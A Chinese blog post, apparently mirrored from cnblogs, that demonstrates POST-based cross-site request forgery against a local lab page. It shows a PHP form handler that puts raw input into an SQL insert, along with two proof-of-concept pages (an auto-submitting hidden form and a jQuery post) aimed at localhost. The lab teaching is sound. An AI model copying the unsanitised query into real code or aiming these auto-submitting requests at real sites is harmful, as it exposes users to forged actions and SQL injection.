zoukankan      html  css  js  c++  java
  • 一个帖子csrf的例子

    服务端

     1 <?php
     2 $conn=mysqli_connect('localhost','root','root','csrf');
     3 $data=$_POST;
     4 $user=$_POST['username'];
     5 $pass=$_POST['password'];
     6 if(!empty($data)){
     7     mysqli_query($conn,"insert into user(`username`,`password`)values('$user','$pass')");
     8 }
     9 
    10 
    11 
    12 ?>
    13 
    14 <form action="" method="POST">
    15     1<input type="text" name="username"/>
    16     2<input type="text" name="password"/>
    17     <button>提交</button>
    18 </form>

    POC

    <form action="http://localhost/csrf/csrf.php" method="POST" id="testfrom">
        <input type="hidden" name="username"/>
        <input type="hidden" name="password"/>
    
    </form>
    
    <script>
        var f=document.getElementById("testfrom");
        f.getElementsByTagName("input")[0].value="csrf12";
        f.getElementsByTagName("input")[1].value="csrf23";
        f.submit();
    
    </script>

    jQuery POST CSRF

    <script src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js">
    
    </script>
    <script>
        $(document).ready(function(){
            $.post("http://localhost/csrf/csrf.php",{
                username:'test123123',
                password:'csrf666'
            },
                function(data,status){
                alert(status)
                }
            )
    
        });
    
    
    </script>
  • 相关阅读:
    android 添加图片时错误:android libpng error: Not a PNG file
    hdu4553
    zoj2706
    zoj3349
    zoj3606
    主席树 静态区间第k大
    主席树:动态 Kth
    zoj3633
    zoj3381
    zoj 3540
  • 原文地址:https://www.cnblogs.com/M0rta1s/p/11920880.html
Copyright © 2011-2022 走看看